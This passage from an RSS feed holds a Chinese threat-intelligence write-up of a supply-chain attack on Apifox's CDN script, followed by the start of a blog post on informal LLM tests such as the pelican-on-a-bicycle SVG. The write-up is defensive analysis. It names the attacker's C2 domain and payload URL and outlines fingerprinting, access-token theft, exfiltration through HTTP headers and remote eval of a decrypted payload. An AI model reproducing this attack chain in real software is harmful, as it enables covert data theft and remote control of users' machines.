  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9e260c6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FTAFC5BLa6G0LzPa0vnwdwds3wSMIL6CqtUbSz8KMaA8DoCicckT8I96OibG1YU3wQAibNe5Q6oRVMWwvxAIoia11lLIAqGLINfLqwmeN1VHQZ80%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-section-id="1qlepd9" data-start="144" data-end="156" data-pm-slice="0 0 []"><span leaf="">🧩 一、事件背景</span></h2><p data-start="158" data-end="173"><span leaf="">通过外部威胁情报发现恶意域名：</span></p><pre data-start="175" data-end="196"><div><p><span leaf="">apifox.it.com</span></p></div></pre><p data-start="198" data-end="212"><span leaf="">结合大网 DNS 数据分析：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">异常流量主要爆发时间：</span><strong data-start="227" data-end="244"><span leaf="">2026-03-03 之后</span></strong></p></li><li><p><span leaf="">判断为：</span><strong data-start="251" data-end="269"><span leaf="">供应链投毒行为触发后开始扩散</span></strong></p></li></ul><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 data-section-id="1cgzqi1" data-start="276" data-end="290"><span leaf="">🧨 二、投毒入口分析</span></h2><p data-start="292" data-end="319"><span leaf="">攻击源头来自 Apifox 官方 CDN 资源被篡改：</span></p><h3 data-section-id="11bxixl" data-start="321" data-end="332"><span leaf="">📍 正常资源</span></h3><pre data-start="333" data-end="448"><div><p><span leaf=""><a href="https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js" target="_blank">https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js</a></span><span leaf=""><br/></span><span leaf="">MD5: a709773362581f4db2f2328e05214e2f</span></p></div></pre><h3 data-section-id="1t3poyo" data-start="450" data-end="477"><span leaf="">☠️ 恶意版本（Web Archive 还原）</span></h3><pre data-start="478" data-end="636"><div><p><span leaf=""><a href="https://web.archive.org/web/20260305051418/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js" target="_blank">https://web.archive.org/web/20260305051418/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js</a></span><span leaf=""><br/></span><span leaf="">MD5: 1a68b09956e47c5617f87dc71c895131</span></p></div></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 data-section-id="451y4g" data-start="695" data-end="713"><span leaf="">🧠 三、恶意 JS 行为拆解</span></h2><p data-start="715" data-end="726"><span leaf="">整个 JS 分为两层：</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="1i448ge" data-start="733" data-end="750"><span leaf="">1️⃣ 伪装层（正常代码）</span></h3><ul class="list-paddingleft-1"><li><p><span leaf="">文件名：</span><code data-start="758" data-end="792"><span leaf="">apifox-app-event-tracking.min.js</span></code></p></li><li><p><span leaf="">内容：</span></p></li><ul class="list-paddingleft-1"><li><p><span leaf="">Google Analytics</span></p></li><li><p><span leaf="">百度统计</span></p></li><li><p><span leaf="">PostHog</span></p></li></ul></ul><p data-start="842" data-end="858"><span leaf="">👉 </span><strong data-start="845" data-end="858"><span leaf="">完全正常，用于掩护</span></strong></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="np0xna" data-start="865" data-end="892"><span role="text"><span leaf="">2️⃣ 恶意层（混淆代码 </span><code data-start="882" data-end="891"><span leaf="">_0x10e4</span></code><span leaf="">）</span></span></h3><p data-start="894" data-end="903"><span leaf="">核心行为如下 👇</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 data-section-id="u8ofk0" data-start="910" data-end="926"><span leaf="">🖥️ 四、攻击链详细分析</span></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="hhibqe" data-start="933" data-end="949"><span leaf="">🧬 1. 采集机器指纹</span></h3><p data-start="951" data-end="966"><span leaf="">通过 Node.js API：</span></p><pre data-start="968" data-end="991"><div><p><span leaf="">require</span><span leaf="">(</span><span leaf="">&#39;os&#39;</span><span leaf="">)</span></p></div></pre><p data-start="993" data-end="998"><span leaf="">获取信息：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">MAC 地址</span></p></li><li><p><span leaf="">CPU 型号</span></p></li><li><p><span leaf="">主机名</span></p></li><li><p><span leaf="">系统用户名</span></p></li><li><p><span leaf="">操作系统信息</span></p></li></ul><p data-start="1042" data-end="1045"><span leaf="">然后：</span></p><pre data-start="1047" data-end="1075"><div><p><span leaf="">拼接 → SHA256 → 设备唯一ID</span></p></div></pre><p data-start="1077" data-end="1080"><span leaf="">存储：</span></p><pre data-start="1082" data-end="1109"><div><p><span leaf="">localStorage._rl_mc</span></p></div></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="1b7ml67" data-start="1116" data-end="1136"><span leaf="">🔐 2. RSA 加密敏感信息</span></h3><p data-start="1138" data-end="1143"><span leaf="">加密内容：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">系统用户名 → </span><code data-start="1155" data-end="1164"><span leaf="">af_user</span></code></p></li><li><p><span leaf="">主机名 → </span><code data-start="1173" data-end="1182"><span leaf="">af_name</span></code></p></li></ul><p data-start="1184" data-end="1203"><span leaf="">👉 使用 </span><strong data-start="1190" data-end="1203"><span leaf="">内嵌 RSA 私钥</span></strong></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="xppy75" data-start="1210" data-end="1235"><span leaf="">🕵️ 3. 窃取 Apifox 用户数据</span></h3><p data-start="1237" data-end="1240"><span leaf="">读取：</span></p><pre data-start="1242" data-end="1281"><div><p><span leaf="">localStorage.common.accessToken</span></p></div></pre><p data-start="1283" data-end="1288"><span leaf="">调用接口：</span></p><pre data-start="1290" data-end="1332"><div><p><span leaf=""><a href="https://api.apifox.com/api/v1/user" target="_blank">https://api.apifox.com/api/v1/user</a></span></p></div></pre><p data-start="1334" data-end="1337"><span leaf="">获取：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">用户邮箱</span></p></li><li><p><span leaf="">用户昵称</span></p></li></ul><p data-start="1354" data-end="1360"><span leaf="">加密后存储：</span></p><pre data-start="1362" data-end="1399"><div><p><span leaf="">af_apifox_user</span><span leaf=""><br/></span><span leaf="">af_apifox_name</span></p></div></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="bwqtj2" data-start="1406" data-end="1425"><span leaf="">🌐 4. 向 C2 发送数据</span></h3><p data-start="1427" data-end="1433"><span leaf="">目标 C2：</span></p><pre data-start="1435" data-end="1464"><div><p><span leaf=""><a href="https://apifox.it.com" target="_blank">https://apifox.it.com</a></span></p></div></pre><p data-start="1466" data-end="1472"><span leaf="">请求头携带：</span></p><pre data-start="1474" data-end="1541"><div><p><span leaf="">af_uuid</span><span leaf=""><br/></span><span leaf="">af_os</span><span leaf=""><br/></span><span leaf="">af_user</span><span leaf=""><br/></span><span leaf="">af_name</span><span leaf=""><br/></span><span leaf="">af_apifox_user</span><span leaf=""><br/></span><span leaf="">af_apifox_name</span></p></div></pre><p data-start="1543" data-end="1571"><span leaf="">👉 所有数据通过 </span><strong data-start="1553" data-end="1571"><span leaf="">HTTP Header 外带</span></strong></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="rxh1bs" data-start="1578" data-end="1600"><span leaf="">📦 5. 下载加密 Payload</span></h3><pre data-start="1602" data-end="1637"><div><p><span leaf="">GET /public/apifox-event.js</span></p></div></pre><p data-start="1639" data-end="1644"><span leaf="">完整地址：</span></p><pre data-start="1646" data-end="1698"><div><p><span leaf=""><a href="https://apifox.it.com/public/apifox-event.js" target="_blank">https://apifox.it.com/public/apifox-event.js</a></span></p></div></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="vuokat" data-start="1705" data-end="1722"><span leaf="">💣 6. 解密 + 执行</span></h3><p data-start="1724" data-end="1727"><span leaf="">流程：</span></p><pre data-start="1729" data-end="1788"><div><p><span leaf="">response.text()</span><span leaf=""><br/></span><span leaf="">→ RSA 分块解密（privateDecrypt）</span><span leaf=""><br/></span><span leaf="">→ eval()</span></p></div></pre><p data-start="1790" data-end="1797"><span leaf="">👉 关键点：</span></p><blockquote><p data-start="1801" data-end="1825"><span leaf="">攻击者可以下发任意 JS 并执行（完全远控能力）</span></p></blockquote><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h3 data-section-id="1xaxjpy" data-start="1832" data-end="1849"><span leaf="">🔁 7. 持久化执行机制</span></h3><ul class="list-paddingleft-1"><li><p><span leaf="">随机间隔执行</span></p></li><li><p><span leaf="">时间范围：</span></p></li></ul><pre data-start="1869" data-end="1887"><div><p><span leaf="">几分钟 ~ 几十分钟</span></p></div></pre><p data-start="1889" data-end="1892"><span leaf="">循环：</span></p><pre data-start="1894" data-end="1918"><div><p><span leaf="">loadAndExecute()</span></p></div></pre><p data-start="1920" data-end="1933"><span leaf="">👉 持久化 + 隐蔽通信</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 data-section-id="11jxnj6" data-start="1940" data-end="1963"><span leaf="">🔑 五、内嵌 RSA 私钥（关键证据）</span></h2><pre data-start="1965" data-end="2147"><div><p><span leaf="">-----BEGIN PRIVATE KEY-----</span><span leaf=""><br/></span><span leaf="">MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOPeHTeyrblELD</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">923MJszhbIUdp9MrG0WoHFKcWsK1HPFW7rGjV82Fu3No+rLjlo=</span><span leaf=""><br/></span><span leaf="">-----END PRIVATE KEY-----</span></p></div></pre><p data-start="2149" data-end="2155"><span leaf="">⚠️ 说明：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">客户端内置私钥极其异常</span></p></li><li><p><span leaf="">用于解密 C2 Payload</span></p></li><li><p><span leaf="">意味着攻击者控制完整通信链路</span></p></li></ul><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 data-section-id="1an6o1i" data-start="2212" data-end="2226"><span leaf="">🎯 六、攻击本质总结</span></h2><blockquote><p data-start="2230" data-end="2274"><span leaf="">这是一个典型的 </span><strong data-start="2238" data-end="2274"><span leaf="">供应链后门 + Electron 本地信息窃取 + 远程控制框架</span></strong></p></blockquote><p data-start="2276" data-end="2281"><span leaf="">攻击流程：</span></p><pre data-start="2283" data-end="2419"><div><p><span leaf="">CDN JS 投毒</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">客户端加载恶意代码</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">采集系统信息 + 用户信息</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">发送至 C2（apifox.it.com）</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">获取加密 Payload</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">解密 + eval 执行</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">循环执行（持久控制）</span></p></div></pre><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=45272690&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484024%26idx%3D1%26sn%3D39b450fd7f1fd91e28da3cd11c742d5a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 25 Mar 2026 12:13:00 +0800</pubDate>
    </item>
    <item>
      <title>鹈鹕、Three.js 与 Rebecca</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484016&amp;idx=1&amp;sn=a05936dab7c764cc6b6c49e0722ceb3c</link>
      <description>鹈鹕、Three.js 与 Rebecca，评测 LLM 能力的标尺。</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋Ω号</span> <span>2026-03-18 20:54</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a80efc96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FTAFC5BLa6G3fibibI2N7eg9UPYtCc3qvPfdlibs7sUhUq9607yfWIFjRZlL7ejpibzsicg8ltPYlabE9kNIjHyTSLoYNBuibZ0WtRvF3tHrrDibVFY%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>鹈鹕、Three.js 与 Rebecca，评测 LLM 能力的标尺。</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);font-family: Optima, PingFangSC-regular, serif;word-spacing: 0em;word-break: break-word;overflow-wrap: break-word;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;"><span leaf="">话说我最近一直在琢磨一件事：现在这些越来越强的大模型（LLM），到底要怎么评判它们的能力？传统的 Benchmark 感觉越来越像“应试教育”，模型们都在疯狂刷题，有时候你都分不清它是真的理解了，还是只是把答案背得滚瓜烂熟。</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所以，我搞了个自己的“小考”，我管它叫 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“Rebecca Test”</span></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这事儿得从一个叫 Simon Willison 的技术博主和他那只“骑自行车的鹈鹕”说起。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">起源：一只“不正经”的鹈鹕</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">大概是在 2024 年底，Simon Willison 突发奇想，搞了个有点无厘头的测试：让各大模型生成一张“骑自行车的鹈鹕”的 SVG 图像。</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: solid;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 1px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(150, 84, 181);border-right-color: rgb(150, 84, 181);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgb(251, 249, 253);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">Generate an SVG of a pelican riding a bicycle</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">你可能会想，这不就是个玩笑吗？没错，Simon 自己也承认，他一开始就是觉得好玩（“I originally intended it as a dumb joke”）。他喜欢鹈鹕，也确信网上基本不可能有现成的“鹈鹕骑车”的图可以给模型抄。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">但就是这个“不正经”的测试，意外地成了一把好用的尺子。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">你想想，这个场景难在哪？</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">它难在模型必须动用它的</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“世界模型”（World Model）</span></strong><span leaf="">——也就是对物理世界基本规律的理解。它不能再靠统计和概率去猜下一个词，而是必须真正去“思考”：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><p style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">空间关系</span></strong><span leaf="">：鹈鹕那么大的喙，怎么才能不撞到车把手？</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><p style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">物理常识</span></strong><span leaf="">：它的脚蹼（对，鹈鹕是脚蹼）要怎么踩上踏板？身体要保持什么姿势才能平衡？</span></p></div></li></ul><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这其实是一场对模型</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">物理常识和空间想象力</span></strong><span leaf="">的压力测试。结果出来，高下立判。很多模型画出来的东西简直就是“古神”级别的抽象作品，而少数表现好的，则能看出它们确实在尝试理解这个不合常理的世界。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Simon 在他 2025 年的年度回顾里也提到，虽然这个测试是个梗，但它和模型整体能力的关联性，让他自己都感到惊讶。各大 AI Lab 甚至都知道了这个梗，但这帮“作弊高手”就算想针对性优化，也还是画不好这只鹈鹕（“the pelican illustrations produced by even the most advanced frontier models still suck!”）。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 